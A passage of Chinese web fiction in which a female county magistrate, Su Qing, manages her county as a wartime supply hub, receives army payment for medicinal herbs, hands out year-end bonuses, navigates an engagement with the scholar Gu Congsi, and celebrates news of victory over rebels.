终于在十月初九这日,府城送来消息,让南江县做好准备,前线几批物资会送到他们这。 让此地做好准备。 这消息虽不是秘密。 但真正确定下来,南江县百姓无不欢呼。 尤其是最近盖起来的酒楼客店,便是为这事做准备的。 叶家更是离谱,先买下一个旧酒楼,以这个为基础,建起南江县最大的酒楼客店。 等全国各地运送货物的商船马车到这里,叶家不知道能赚多少。 “盯紧他们的税。”苏清对邬户房道,“尤其是酒税,不能少。” 邬户房立刻记下,她会的! 前面在打仗,后面战备物资运送。 而他们作为中转地,也要提起十足的精神。 隔壁几个县的百姓听说此事,主动过来做工, 当伙计,当账房。 又或者跑腿,做小买卖,总之都能找到生计。 尤其是不好找活的妇人们,还能在这学习怎么照顾病患。 本就热闹的南江县,来往的百姓更多。 武捕头跟龚典吏加紧巡逻,毕竟人多越多越容易生事,不能破坏南江县安稳的生活啊。 为此,苏清只好点头,让三班六房又招了些人。 不知不觉中,衙门人手,已经超过战乱之前。 这还是苏清精挑细选的结果。 她可是发俸禄的人,不能招吃白饭的啊。 大家吃的都是百姓纳的粮,不能浪费。 府城那边还派了吏司官员巡察,军中后勤齐内官也送了消息。 打仗打的就是后勤。 南江县这里,绝对不能出问题。 等到十一月份,码头新修的两个船位正式竣工。 本就黢黑的何漕运现在更黑了。 医学训科培育的第一批医护,共计五十人,也已到位。 白大夫跟郝大夫,再加上顾教谕,三个人合作起来,倒是很不错。 接下来第二批有一百五十,估计年后就能成。 这两件事做完,苏清抱着账册心疼。 终于成了啊! 这些前期投入巨大,轻易也看不到收益的差事,终于成了。 看着衙门库银,苏清忍不住心疼。 邬户房也道:“尤其是医护,需要源源不断给银子。” “也不知道府城什么时候给报。” 苏清笑着道:“大概是咱们缴税款的时候吧。” 不指望他们能报销,只要让南江县少交点税即可。 苏清忽然发现,她对军中还有府城的信任,都降到最低点。 难道因为上半年药材的事? 还真是吃一堑长一智啊。 准确说,对军中后勤没什么信任。 所以这次的药材即将收获,她也只是惯例地问一下齐内官。 并散出消息,让有意采买的商船过来购买,重点肯定在后者。 总之,南江县万事俱备。 只等着其他各地后勤物资送到了。 第一批运送物资来此的差役们,来到这个名不见经传,县令却鼎鼎有名的南江县,忍不住道:“我倒是要看看,这里有什么不同的。” “女人管着的县,还成为重中之重了。” 想要进入南江县,首先要过城门。 那差役抬头一看,只见这城门城墙明显新修缮过,打造的极为结实。 门口巡逻守卫的士兵们,全都穿戴整齐,目光如炬。 这就是前线的士兵吗? 如此气势,令人畏惧。 “运送物资的排左边,普通百姓右边队伍。” “提前拿出路引,身份契凭,不要耽误大家时间!” 来回喊话的书吏语气严厉。 不过到城门口检验时,士兵温和了些,并道:“你们送的是粮草?一直走就行,两刻钟能到仓库,那里有军中后勤官员负责接收。” “衙门王兵房也派人在那驻守,粮草交接之后,立刻能办交付文书。” 这差役听得一愣一愣,守卫士兵又让他重复一遍,确定无误后放行。 按照士兵的嘱咐,一行人按部就班办事,本以为要忙上一整日。 谁料不到半日工夫,运送的物资交接完毕,他们的各项手续也办齐了。 这期间,他们甚至可以坐下来喝喝茶歇歇脚。 全都是南江县衙门准备,说他们一路辛苦,都是国家栋梁,战乱若能平息,必有他们一份功劳,是顺昌国的英雄。 “我们?这样厉害?” 差役们都傻眼了。 运送物资这种苦差事,他们衙门都不想来,你推我我推你。 最后让他们这些无权无势的来了。 谁能想到,在南江县却被如此礼遇。 他们运送物资,也算是英雄吗? “当然了。”伙计们嘴甜道,“前线打仗,咱们后勤补给,都是英雄。” “希望战事早点结束,咱们都能过太平日子。” 这些伙计,基本都是隔壁几个县的。 原本大家都有营生,打仗之后才四处奔波。 好在他们比较幸运,离家不算远的地方,就有能做事的地方。 而且南江县的掌柜都不太苛刻。 好像他们被伙计们状告过,衙门则偏向做工的,让他们不敢苛待手下。 反正不管怎么样,日子能过得去即可。 最近这段时间,衙门还说后勤同样是战事的一环。 他们做好后勤保障,便是为国尽忠,便是保卫家园。 这话听得人通体舒泰,大家精神头都高了。 过来送物资的差役书吏们,也有见识广,笑道:“不愧是第一女县令,着实厉害。” 本来应该鱼龙混杂,人员纷杂,极容易出事端的地方。 却用为国尽忠,保卫家园,让大家都团结起来,不再生事。 可人家的话也没错。 孙子兵法里都说,军无辎重则亡,无粮食则亡,无委积则亡。 说的便是这后勤,他们这些人也确实是英雄。 成为军事枢纽的南江县道路通畅,办事利落。 苏清看着一批批物资运到江对岸,何漕运道:“这两个新船位,派上大用场了。” 苏清笑,收下对方的恭维,又道:“医护准备好了吗。” “这批物资送过去,会再运回一批伤兵。” “好了,不会在码头停留太久。”何漕运正色道,“咱们的码头还是太小。” 苏清知道他想说什么,却摇头:“这里跟海运码头不同,暂时不扩张了。” 为什么啊。 现在明显还有点紧张。 苏清看了看他,知道他看惯海运码头,自然觉得江边码头小,干脆道:“战事迟早会停。” 不能只顾当下。 现在扩张了,以后呢。 南江县能成为战争枢纽,是特殊时期特殊原因造成的。 何漕运惊讶,他竟没想到这点。 不过他又想到顾案首的科举文章。 主考官就夸他,策论思虑周全,不是纸上谈兵之人。 这么看起来,顾案首跟苏县令的想法,有异曲同工之妙,就是不知道谁学谁的。 何漕运摇摇头,提起另一件事,感激道:“我家妻儿老小过来,全靠梅娘帮忙安顿,实在多谢她了。” 苏清点头:“我娘是很好。” 这些官员家眷,还有衙门差役书吏,谁家有事,梅娘都会操心。 若不是这样,衙门人心还不会那样齐。 最近闲来无事,她还去伤兵处帮忙。 这样的母亲,她怎么可能去伤她的心。 正说着,江对岸送来一批伤兵。 只有看他们,南江县百姓,还有过往商船方能意识到,前面还在打仗。 这些士兵凭借血肉之躯,把叛军拦在江对岸。 看着留下来的血迹,不少人都沉默了。 不管大家如何假装正常生活,活生生地人在流血,在受伤。 他们不再是大家口中的“兵卒”,而是一个个活生生的人。 让大家意外的是,这些士兵们满脸期盼地看着岸边。 这是怎么了。 受伤这么严重,还这么高兴? 在码头时间长的人,却知道原因。 “因为南江县是个可以喘口气的地方。” “对啊,进了伤兵疗养院,有大夫,有护工,还有专门的人做病号餐。所以伤员们都盼着过来。” “但只有伤势最厉害的,才能来此休养。” 看着一个个需要抬着,方能下船的士兵,过来运送物资差役们肃然起敬。 不等他们说话,旁边训练有素的医护们便围上来。 根据伤情严重程度,分为五个队伍。 有些需要重新包扎的,立刻有大夫动手,旁边热水,伤药,包扎用的布,全都准备妥当。 伤兵来此,大家见多了。 医护们第一时间过来,却是头一回见。 白大夫跟郝大夫已经走到苏清身边,眼下挂着黑眼圈:“县令大人,全都按照您的要求去办。” 说完之后,还颇有些怨念。 您是不是太严苛了啊! 把大家训练成什么了! 可船上护送伤员的士兵却直接红了眼睛,他们也不敢相信自己看到了什么。 都说南江县对伤兵好。 还说这里在培养医护。 原来,原来是这样做事的。 倘若他们有一日重伤至此,心里也是不怕的。 有南江县作为后盾,他们真的不怕。 护送的将士们尚且如此。 被抬走即使治疗的士兵们,更说不出话。 白大夫郝大夫抿了抿唇。 从船上跳下来的军医大步向前,朝两位大夫行礼:“多谢了。” 一切尽在不言中,都知道他要谢的是什么。 那军医转身,朝苏清更加郑重行礼:“苏县令,总兵大人给您的信。” “您是前线士兵的恩人。” 苏清却摇头:“守住前线,便是守住此地,我虽不懂排兵布阵,却知道唇亡齿寒。” 军医满是激动,再看看运送物资的队伍,排着长长的队。 早这样多好! 前线不至于吃那么多苦。 安顿好的新一批伤员,确定医护们投入工作。 还有打了鸡血的白大夫两人看着,苏清这才回了衙门。 不过回衙门之前,随行军医道:“苏县令,上次军中食言,这次不会了。” 啊? 什么事? 苏清反应过来,说的是药材? 苏清挑挑眉,带着小费书吏离开。 “还相信他们,那咱们衙门要穷死了。”费开宇对上半年药材一事,记忆深刻。 不能在一件事上,吃两次亏吧。 等苏清看了总兵信件,开口道:“这都十一月初九了,你确定不去备考?” 费开宇蔫了。 太早了吧。 明年二月份才考试,而且他已经报名了,不着急。 苏清不理他,又看了一遍信件。 总兵说近来物资顺畅,前边打了几次胜仗,感激她办事妥帖。 还说自己没看错苏县令,她比任何人都适合在这个位置上。 随后又提到医护,觉得这个方法很好云云。 虽说她已经被很多人夸赞。 但这封信到底不同,夸得好像格外真挚? 不过信的下面,还有一个东西。 苏清打开一看,竟然是张字帖。 仔细看了,竟是总兵自己写好再装订。 苏清啪地合上字帖。 被发现了?! 被发现自己那他的信件练字?! 这多不好意思啊。 信里却没多讲,只是体贴的送上字帖。 字帖的内容是《盐铁论》其中两千字,讲的利议之辩。 估计是他平时看的书。 苏清不爱看什么四书五经,更别提这种。 算了,抽空练吧。 费开宇夸道:“总兵大人的字可真好。” “我也这么认为。” 正说着,许久未见的顾从斯不知什么时候出现。 顾从斯回家之后,气色好了些,就是脸依旧臭。 苏清想问他有什么事。 却见他看向小费:“你的县试契凭。” 费开宇连忙接过。 又要考秀才了,他一定会努力的。 “都十九了,若再考不上,书吏都当不上。”顾从斯慢悠悠道,“建议你早日备考,你那个同乡早些日子,就回乡读书了。” 苏清嘴角抽搐。 什么叫都十九了。 十九没考上秀才,很正常的啊。 好像知道苏清要说什么,顾从斯道:“我十七考上的。” 哦,那没事了。 不过苏清也看向小费:“顾案首说的没错,早日备考,否则还要再等一年。咱们县里竞争也大。” 费开宇左右看看,垂头丧气道:“好的,我把手头差事交接一下,便回家闭关。” “不用。”顾从斯道,“我来即可。” 别啊! 苏清震惊。 堂堂举人来做书吏,不太合适吧。 再说了,你不是躲着我吗。 继续躲啊,她不介意的。 顾从斯当没看到,催费开宇赶紧走。 好在费开宇换成顾从斯之后,事情一切顺利,没什么大的变化。 也就苏清想提婚事时,总是被打断罢了。 苏清忍不住道:“你也要备考。” “明年四月会试,年后过了正月十五就要走吧。” 顾从斯沉默片刻:“没错。” 再多的,也不肯说的了。 算了,不想说就不说。 顾从斯看着埋头处理公文的苏清,心道,正是年后就要去考试,所以想过来。 外面人人都在讨论苏县令。 偏偏他这个苏县令的未婚夫却不能多说。 那就只有自己过来。 苏清忽然抬头,又想到军医那句话。 军中这次不会食言。 是指后勤会来收购药材? 能跟军中做买卖,自然最好。 一个是他们距离前线最近,不管对军中还是对他们自己,都有优势。 二是那边结款还算快,很多百姓不会被压价。 只是吃了一次亏。 这次还要信吗? 南江县衙门依旧忙碌。 腊月初九,邬户房整理出今年南江县各地药材总数量。 上半年有四十二万斤的产量。 下半年翻了三倍,竟然有一百三十万。 “已经有各路货商,预定了三十万斤。”邬户房道,“不过还有货商在路上。” “肯定在腊月二十之前赶到,既是来送货,也是看看药材情况。” 苏清点头:“反正现在库房充足,衙门不算缺钱,等年后再卖也行。” 邬户房点头,又详细禀告差事,确定无误后匆匆离开。 她忙得太厉害了! 衙门怎么可以有这么多差事啊! 就在那一百万斤药材准备入库时,江对岸的齐内官终于来了。 腊月十一,天气已经很冷了。 齐内官一身貂绒大衣,来了南江县也不客气,跟苏清顾案首都打了招呼,自己就去烤火。 齐内官还问:“云喜跟小妹呢。” “还未放学。”苏清道,“还有半个时辰。” 这么冷的天还要上学,可怜啊。 对于这俩孩子的近况,齐内官一直知晓,苏清每月都会送信过去。 俩孩子识字之后,便让他们来写。 一来二去,自然有些情分。 到底是老余干儿子干女儿,齐内官也有挂念。 “给俩孩子带了皮袄子,冬日里冷。”齐内官故意不提正事。 等苏清无语坐下,准备办公时,他才道:“你们那一百万斤伤药,军中全要了。” “看这是什么。”齐内官让手下把东西呈上来。 只见一个木匣子端上来。 这匣子里,正是一张十万两的银票。 苏清拿起银票,震惊不已。 十万两的银票?! 她见都没见过啊。 不对,虽说如今药价飞涨。 却也不用了十万,顶多七八万的样子。 齐内官见苏县令难得惊讶,抬了抬头:“剩下的银子,预定明年的药材。” “怎么样,这次没有食言吧。” 不仅一次性结清货款。 还预付两三万?! 苏清顾从斯对视一眼,都从对方眼中看出惊喜。 本就不缺钱的南江县。 更加富裕了啊! 这好事,找谁说去啊! 天寒地冻的南江县,变得格外火热。 这一年多的努力,果然没白费! 30-35 第31章 齐内官来去匆匆,见了云喜小妹之后,便带着药材回了江对岸。 “最近运来的物资颇多,内官们都很忙,就不多坐了。”齐内官做事一直雷厉风行。 留下来的十万两银票,则让苏清跟罗主簿,邬户房十分激动。 本以为等到年后,方能支付百姓们的药材钱。 现在腊月中旬,就能发放了。 正好赶在年前,有了这些银子,家家户户都能过个好年。 一百万斤药材装船运到江对岸。 这动静不算小。 码头已经有人猜到,是不是军中买下剩下所有药材? 等衙门通知下面二十村,很快会有差役带着银子去收欠条时,大家的猜想果然成真。 “这就是苦尽甘来吧。” “对啊,上半年不过四十多万斤药材,都卖的那样紧张。下半年翻了三倍,竟全都卖出去了。” “南江县,好像有点太过顺利了?” 自苏清正式当了县令。 他们南江县日子越来越好。 不管粮食丰收,还是药材被人包圆。 还有极为重要的,成为后勤中转地,都让本地人的日子越来越好。 苏清打听来的消息,却不止这么回事。 齐内官这次过来,同她说了些消息。 甚至顾从斯都在府城结交好友,随时了解朝廷动向。 她当县令,与其说是开始,不如说是结果。 自去年叛军入城,到今年上半年。 京城里皇上位置不稳,派系斗争激烈。 哪怕是总兵身份不同,都多被挟制。 这种情况下,后勤物资,以及调兵遣将,都不算顺畅。 前线要不是有总兵苦苦支撑,叛军占领的城池只会更多。 即便这样,之前也是败战连连。 估计是输得实在太多。 京城那边终于没那样闹腾。 答应总兵许多提议,苏清当南江县县令只是其中一条。 还有各地军用物资补给等等,以及广乐府终于有知府了。 皇上在这里面,也起了大作用。 他一力支持三弟,也就是总兵。 排除许多难关,终于把后方斗争平息。 都说攘外必先安内,这话也没错。 自己当县令,是斗争之后的结果。 所以现在一切顺畅。 所以才有源源不断的物资送过来。 甚至连军中内官们,给钱都快了许多。 这才对啊。 想要结束战乱,自己人肯定要团结的。 他们南江县虽小,却也时刻受着局势影响。 没有人能独善其身。 现在朝局稳定。 南江县百姓的日子就好过。 比如说这十万两药材银子,其中七八万为今年的货款。 自腊月十二,消息放出之后。 等到腊月十九,多数农户已经拿着银钱买年货了。 什么? 之前已经置办过年货了。 还要再买吗? 肯定啊! 现在可以稍稍放开了买! 以前不舍得买的农具,衣料,猪肉,现在都能买了。 对了,还可以买点纸笔。 年后都能送孩子们上学了啊。 永晟二年,今年最后一批商船排队在南江县码头等待卸货。 过往货商们都知道,在南江县能大赚一笔。 说不定还能运点药材倒卖。 可大家都没想到。 药材别想了,被手快的,以及军中全部包圆。 但他们带来的各色商品,小的孩童玩具,大到家具摆件,全都卖得极好。 还有运来的柴火,香料,鸡鸭鹅,更是被抢着买。 “南江县的人,这么有钱?” “我怎么就没多带点货啊!” “可惜了可惜了,来晚了,不然能再运一船过来。” “这哪是南江县,分明是小江南。” 其他地方的货商听说此事,便是赶着马车,也要来卖货的。 衙门在放假前,也进行最后的忙碌。 光是发完药材钱,就让大家够辛苦的了。 接着还要采买伤兵疗养处的物资,确保伤员们过个肥年。 前线战事正酣,被运过来的,都是伤势极重的将士兵卒。 王兵房跟周千户负责接收管理,苏清也放心。 还有码头结冰,除了军中船只之外,商船都要停渡,何漕运要派人值守,不然肯定出问题。 医学训科各项事情都要有个总结,以及明年培养医护多少,要有个数目。 县学那边事情也多。 今年的县试一切顺利,报考的考生,大约有一百二十多人。 等到明年二月初六进行第一场考试。 其他事情要在年前完成。 顾教谕跟礼房主事,差不多已经办妥。 接着便是工房各项差事,停工日期跟开工日期一一上报。 刑房整理出来的文书也不少。 他们跟武捕头配合,把今年大大小小案件整理出来。 多是码头的纠纷,以及乡里之间的矛盾。 还有几个酒楼伙计为了抢客人打架,以及小偷小摸等等。 苏清跟顾从斯把这些文书看完,只觉得晕头转向,浓茶都不知道喝了多少。 但最后一件事,却不能马虎。 罗主簿,邬户房,以及魏来魏吏房一起完成。 他们三人,一个是苏清的左右手,一个管着本地财务,最后一个管着本地官吏考核。 因广乐府知府今年刚来,所以没有对下面各县县令进行年底考核。 但苏清他们,都是南江县“老人”了。 衙门上下书吏差役们的考核,肯定要进行。 都说没有规矩不成方圆。 衙门更是如此。 平日但凡有人犯错,魏吏房必然记上一笔。 就算有人求到苏清面前,苏清也只是笑眯眯回一句:“看看情况吧。” 这么一说,那就是不肯撤销。 毕竟她手下要是欺压百姓,横行霸道,她只会比魏吏房更狠。 也因她的态度,魏吏房可是绝对公正的。 别看这一年里,他不显山不漏水。 可吏房上下,随时盯着其他部门,乃至下面村长里长的错处。 平日大家恨的厉害。 但到现在,却要感谢他们的监督,让大家少犯错。 因为年底了。 苏县令会按照大家的年底考核,以及平时成绩发奖金! 如果整个部门做得好,还有部门奖励! 平时越忙,做得越好,奖金就越多。 要说每个月,都已经有奖励了。 但到年底,还能再领一份。 在衙门做事的,谁不想为家人多挣点口粮,一起过个肥年。 这部分的计算很让人头疼。 苏清,顾从斯。 再加上罗主簿,邬户房,魏吏房, 五个人早就在算,算出来之后,再武捕头龚典吏看看。 一直到腊月二十六,各部分的奖金终于算出来。 最后的数字,着实让所有人惊喜。 衙门有好处,果然不会忘了他们啊。 虽说大家本就信任苏县令,可奖金到手,又是另一番感觉。 这只是奖金吗? 不是吧。 毕竟在衙门做事,真的不缺吃喝。 这更像是对他们当差的一种肯定。 甚至大于金钱的意义。 是一种成就感吗? 这词新鲜,是苏县令说过的。 梅娘过来的时候,还带了去年有的鸡鸭羊肉,今年肯定不会少。 只是今年排队领年礼的人多了,只好分给各部,让他们自己回去发。 即便这样,大家还是不愿意走,互相看看对方的年礼,虽然都一样,但看个热闹总行吧。 梅娘过来,顾从斯第一时间迎上去。 苏清只好当没看到。 南江县,从百姓到官吏,都在这个年节里格外高兴。 衙门年礼发完,留下值守的差役书吏,其他人提着年礼回去过年。 苏清却还不能闲着。 她特意披着厚披风,还要再去伤兵疗养处一趟。 一个是看看冬日物资,二是能路过码头,把码头值守的年礼送去。 武捕头同样不得清闲,他安排人手给下面的里长村子送些东西。 今年大家都辛苦,苏县令特意拨给他们的。 等所有差事忙完。 苏清刚想坐下,却被顾从斯拦住,从她身上取下带雪的披风。 忙的时候就算了。 如今终于闲下来,两人面对面,颇有些尴尬。 苏清想说些什么,下意识翻了翻桌案上的字帖。 还好云喜跟小妹小跑进来,打破这份沉默。 他们正在给齐内官写信,想问问苏姐姐顾哥哥,这么写合不合适。 两人身上都穿着齐内官给的皮袄,看着格外暖和。 读了几个月的书,他俩都长进不少,而且颇有些亲兄妹的模样。 苏清跟顾从斯帮忙看了看,改了错字跟语病,让他们坐下来重新抄录一遍。 年节前的信件,也是老传统了。 不过朱娘子今年只给娘家夫家捎了口信,没有准备节礼。 苏清跟梅娘这边,倒是如旧。 稍微不同的是,顾从斯背着自己,采买了礼物塞进去,一并寄回她老家了。 两个孩子写信,苏清忍不住看了看顾从斯。 自乡试回来之后,本就话少的他,现在话更不多了。 但他在州城结交的人脉,却有作用,外面很多消息,都是顾从斯递给她的。 而每次提到婚事,顾从斯便直接躲开。 这要是还看不明白,便是装傻了。 苏清斟酌片刻道:“一会我还要抄年历,顾案首帮帮忙?” 年历是朝廷钦天监编纂的下一年日历。 下一年各种节日,以及皇上,太后生辰,先皇忌日等等都有标注。 朝廷分发给地方,地方再发到各县,县里则要抄录几份备用,所以很是复杂。 这个借口还是不错的。 顾从斯点头,等两个孩子走了,两人裁纸抄录。 还是顾从斯主笔,她在旁边递纸喝茶。 抄了几页。 顾从斯扭头看了看苏清,开口道:“不要喊顾案首。” 那喊什么? 苏清没讲,只给他递纸,让他继续写。 顾从斯还真的继续抄录。 等一本抄完,苏清检查,他继续抄。 “可以喊我从斯。”顾从斯忽然道,“我们有婚约,不能见外。” 苏清手里的朱笔一顿。 终于来了。 如果说在顾从斯考上举人前后,她是坚决要退亲的。 但他先带回何漕运,又利用在府城的人脉,多方打探消息,对衙门之事大有裨益。 更别说,还能让梅娘高兴。 这让苏清很难把话说明白。 本来以为,她跟顾家有默契啊! 等顾从斯考举人之后,一切就结束了。 谁料顾教谕夫妇,最近也不闹腾,像是被说服了? 苏清叹口气,还是把话说明白吧。 自己留他,不就为这个。 顾从斯俊美脸上,忽然多了些罕见的笑。 本就五官极好的他,在此刻显得愈发让人移不开眼。 苏清这一愣,被顾从斯找到机会:“有些话,其实不着急说。” “就当给我个机会,你不亏什么,对吗。” 啊?! 她没听错吧?! 顾从斯把第二份抄好的年历给她,开口道:“剩下的,我拿回家抄。” “我爹的字也不错。” “他说我如今是举人了,家里很多事,都是我做主。” 只见顾从斯快速离开,不知道的,还以为后面有洪水猛兽。 苏清还没从震惊中出来。 因为顾从斯那话,让她有点不敢置信?! 什么叫有些话不着急说。 给他一个机会,也给自己一个机会。 她没猜错吧。 让她骑驴找马?吃锅望盆?!把他当备选?! 虽然说,顾从斯这个提议,确实是极好的选择。 毕竟他的相貌才学,都是不错。 不过他能搞定家里? 这倒不见得,虽然自己也不在乎吧。 但他都说到这份上,如果自己还是强硬拒绝,似乎只会更伤人? 苏清把年历递给值房一份,另一份带回内宅。 梅娘见她神游天际,赶紧过来问清清怎么了。 “就是在想顾从斯的事。” 原来是他啊。 梅娘笑的非常开心:“我同你祖母大伯,外祖舅舅都说了。他们肯定为你高兴。” “从斯现在是举人,明年会试说不定还能中进士呢。” “只要你有个好夫婿,娘怎么都开心。” 练字的苏澄跟着点头,不到六岁的小娃娃懂什么。 肯定梅娘经常提了。 大过年的,苏清不好扫兴,只含糊道:“明年再说。” 世事多变。 谁知道明年会怎么样。 苏清干脆躺在软塌上,一边逗弟弟,一边吃娘亲拿过来的果干。 屋子里炭火也足,让她舒服得直接睡过去。 梅娘怜爱地看着女儿,轻声对苏澄道:“轻些,不要打扰姐姐睡觉。” “清清太累了。” 南江县发展的越好,公务就越多。 很多事情听着就头疼,却需要她一一处理。 毕竟关乎民生,不能马虎。 邬杉月邬户房换了常服过来说话,也轻手轻脚的。 只放了自己亲手做的香囊荷包鞋子,去外间后,还是轻声对梅娘道:“谢谢梅娘,要不是您经常找我娘说话,她肯定不习惯这里。” 她们母女三个长年跟着爹爹外放,不怎么回老家。 若不是苏县令容纳,梅娘帮忙,肯定会被两个叔叔欺负。 县令给她体面的差事。 梅娘在南江县百姓心中的地位,则毋庸置疑,都知道她是个极心善的,谁家有难处,她都会帮忙。 苏清休息期间,也有人陆陆续续上门,都被梅娘挡在外面。 以至于她到黄昏时分才慢悠悠醒过来。 怎么一睁眼,都快到晚上了啊。 而且她已经闻到热腾腾的饭菜香。 只上半日班,下午睡大觉,起来就吃饭。 这日子过得比神仙都舒服。 苏清刚起身洗把脸准备吃饭,外面又传来急匆匆的脚步声。 苏清下意识扭头,眼神变得锐利,一扫方才的懒散。 “好消息!” “天大的好消息!”龚兵房亲自来报,“薛守备送来消息,前方打了大胜仗!” 当真?! 苏清接过战报。 “叛军被赶出广乐府了。” “落入敌手的三个县,尽数夺回。” “仅剩武勇王爷的封地,也就是皋青州还在叛军手中。” 果然是天大的好消息。 那皋青州地处荒凉,没有太多补给。 即便不攻打,只围困,他们都撑不了多久。 两年,顶多一两年时间。 顺昌国的战事就能平息了。 不说这些远的。 只讲如今的广乐府,就没有叛军为祸百姓了啊。 “太好了。” “真是太好了。” 苏清难掩激动。 衙门后宅住着的其他人,诸如主簿典吏两家,甚至顾教谕一家听说这件事,都急匆匆过来,脸上全都带着喜色。 “真的把叛军赶出广乐府了?” “总兵亲率奇袭营,竟有如此战果。” “战事总算离南江县远了些。” 以前战事就在江对岸。 即使刻意不看,也能感受得到。 大家都是经历过战争的人,叛军入城发生了什么,谁都不敢回想。 这南江县里,几乎家家披麻戴孝,大家已然习惯。 习惯归习惯。 有些伤痛却依旧在心底。 梅娘跟朱娘子早就红了眼。 她们夫君离世,若不是有清清支撑,两家早不知过什么日子。 尤其是朱娘子,大概率母女分离。 正说着,许久未见田县丞忽然出现,他形容枯槁,满面沧桑,随便拉了一个人问:“真的?叛军真的被打跑了?” 得到肯定的回答,田县丞放声大哭,哭他死去的妻子跟儿子女儿。 哭他被叛军吓破胆。 哭他这两年像个废人。 也有人不知道田县丞是谁,经过云喜低声解释,才知道这就是许久不见的本县县丞。 一家六口人,只他一个活下来。 从此饮酒度日。 若不是苏县令跟梅娘还记挂他,每月俸禄特意分次发放,说不定早就饿死在哪了。 听到叛军被赶走,他才踏入衙门,过来确认消息。 田县丞哭得声嘶力竭。 几乎是替在场所有人在哭。 战争永远是不对的。 伤害平民百姓的战争,更是罪大恶极。 他们这些劫后余生的人,在这一刻,终于得到一定程度的解脱。 今年,可真是好年份啊。 好消息接连不断,让所有人都能过个好年。 武捕头夫妇也高兴,他们两个儿子都参军了,等战事彻底结束,两人就能回家。 南江县百姓更不用说。 这是一个令所有人振奋的好消息。 战报从南江县一路送到府城京城。 顺昌国终于迎来真正的大捷! 苏清跟顾从斯分析的时候,同时把目光放在后勤上。 这场大捷跟朝廷上下一心分不开关系。 只要后勤好一些,总兵带着的将士,必然拿出战果。 所以苏清忍不住道:“早干嘛去了。” 顾从斯道:“皇上位置不稳,想要夺权的人太多。” 这当然是两人私下说,放到外面,不能如此议论。 苏清虽然理解,却只觉得可惜。 怪不得都说,再坚固的堡垒也防不住内贼。 若不能团结一致,上下一心,谁知道广乐府剩下的三个县,什么时候能收回来。 不管怎么说,这个年大家过得还是很开心的。 腊月三十,大年初一,初六的烟花,都放的极好看。 以叶家酒楼叶家铺子为首的店家,全都争奇斗艳,让本就热闹的南江县更上一层楼。 正月十五元宵节的灯笼,更让人眼花缭乱。 各色灯盏全都摆了出来。 县城主街上,许久没有这般热闹。 跟去年冷冷清清比,今年好上太多。 衙门后宅众人,肯定是要出来看热闹的。 顾从斯也早早等着苏清,两人换了常服,跟家人一起出去看灯。 又一年过去了。 时间过得还真快。 路过叶家铺子时,顾从斯还特意绕了绕,苏清也懒得去挤,此处人太多了。 但叶家铺子的掌柜却眼尖,远远就道:“苏县令,等等。” 说着,等周围人不关注这里了,他才偷偷从柜台里拿出一个四四方方的檀木匣子。 这匣子里装了一盏巴掌大的琉璃宫灯。 “年前叶家船只过来,大少爷特意吩咐要带上这盏灯,特意送给您的。” 琉璃宫灯拿出来,便吸引云喜他们这些孩子的目光。 还未点燃就这般,里面内芯点燃,更显光彩夺目。 苏清却不接。 这东西一看就很贵,她要不起啊。 见苏清摆手,掌柜又道:“这不只是琉璃宫灯,上面还有字谜。” “谜底是您想知道的事。” 她想知道的。 又跟叶山鸣有关。 苏三叔? 大好日子的,提他晦气啊。 苏清看了看同样出来玩耍的苏三婶母子。 那位不在之后,他俩气色明显好多了,一个浆洗一个读书,看着都胖了些。 再有好心的梅娘接济,唯一担心的,就是苏三叔会不会回来。 “这是叶家作坊做的,而且也不值钱了。”掌柜道。 不值钱了? 苏清把灯接过来,看到琉璃宫灯上有两行字。 前面是“亏心多捞一把,生意怎么能发达。” 后面是“生意无大小,信誉是个宝。” 苏清差点笑出声,顾从斯道:“什么乱七八糟的,糟蹋了这么好的灯。” 谁说不是啊。 怪不得说琉璃宫灯不值钱了。 人家灯上写的都是千古佳句,这些市井之言跟宫灯,确实不相称。 至于所谓的字谜,倒不像是字谜。 第一句像是在道歉,说他叶山鸣去年亏心,想多捞一把。 但这人的歉意也不能全信。 第二句生意无大小。 其他人的重点,或许放在生意小,也不能失信。 苏清跟顾从斯却明白。 这说的,大概率是大生意,也就是苏三叔的事,那叶山鸣应该办妥了。 那位应该在海南哪个岛上砍甘蔗呢。 “挺好,那边暖和。”苏清笑道。 苏清把灯拿给小妹玩,看着人头攒动的街道,又笑了下。 “明日我就要启程。”顾从斯道,“你来送送我吧。” 苏清犹豫片刻,点点头:“好,一路顺风。” 顾从斯这才笑,跟苏清约定好明日见。 四月份会试,他更要拼尽全力,做得更好。 第二日,天方亮。 顾教谕夫妇,梅娘苏清,便一起给顾从斯送行。 今日才正月十六,按理说不用这样早的。 毕竟坐马车到京城,顶多半个月的时间。 但皇上看重新科举人,尤其是各州府的案首。 并允许他们这些州府案首,可以提前去京城国子监温书。 这种机会,谁都不会错过。 那可是国子监,既能学到真本事,还能结交各路人脉。 顾从斯打的就是这个主意。 他们在京城认识的人不多,唯有齐内官那边可以通通气。 自己提前过去,可以多了解京城的情况,随时告诉苏清。 顾从斯都这么做了,苏清自然好好告别,还把总兵的信件给了一封出去。 “总兵是三皇子,在京城有府邸。” “若真有事,府邸里的人,说不定看在信件的面上帮帮忙。” 顾从斯收下,认真看了看苏清,又跟梅娘告别,最后对爹娘道:“爹娘,孩子这一去就是好几个月,你们要保重身体。” “若清清有什么事,咱们家必要鼎力相助。” 苏清心里叹气,看着他们告别。 果然,等顾从斯一走,顾教谕夫妇的脸色难看下来。 尤其是顾夫人,就差说苏清是狐狸精了。 顾教谕也想说,但他又是苏清属下,品级比苏清低,只能摇头叹气。 梅娘本来泪眼婆娑,转而看到两人的冷脸,尤其是对女儿的冷脸,瞬间变了脸色。 面对梅娘,那夫妇俩又笑着点头,换了副面孔。 梅娘还以为自己看错了。 他们平时,是这么对清清的吗? 苏清开口道:“娘,回衙门吧。” “今日衙门开门,我都迟到了。” 又是新的一年了。 该上班了啊。 经过一个月的休假。 大家精力应该都恢复了吧! 是不是可以加班了呢! 苏清这话要是说出来,肯定会被属下骂的! 所以她不说,只是一味地布置差事。 今年的县试十几日就要开了。 礼房跟顾教谕更加忙碌。 伤兵处又来一批新伤员,要再拨点物资。 邬户房在忙春耕的事。 现在要严密防守,药田面积已经够了,不能再肆意扩张。 随着战事一步步推进,以及全国各地,尤其南江县附近几个县,都看到伤药的价格,几乎全都在种。 这种情况下,若盲目扩张药田,只会赔的血本无归。 而且如果战事顺利。 以后不会用到那么多伤药。 南江县就算种药材,也要换种类了。 “多种粮,无论什么时候,多种粮肯定没错。”苏清道,“年前年后不是有很多流民过来,安排他们开荒吧。” “衙门拨些银子给他们,但不要给太多,以免养成不劳而获的习惯。” 苏清一边处理公务,一边听着前线捷报频频。 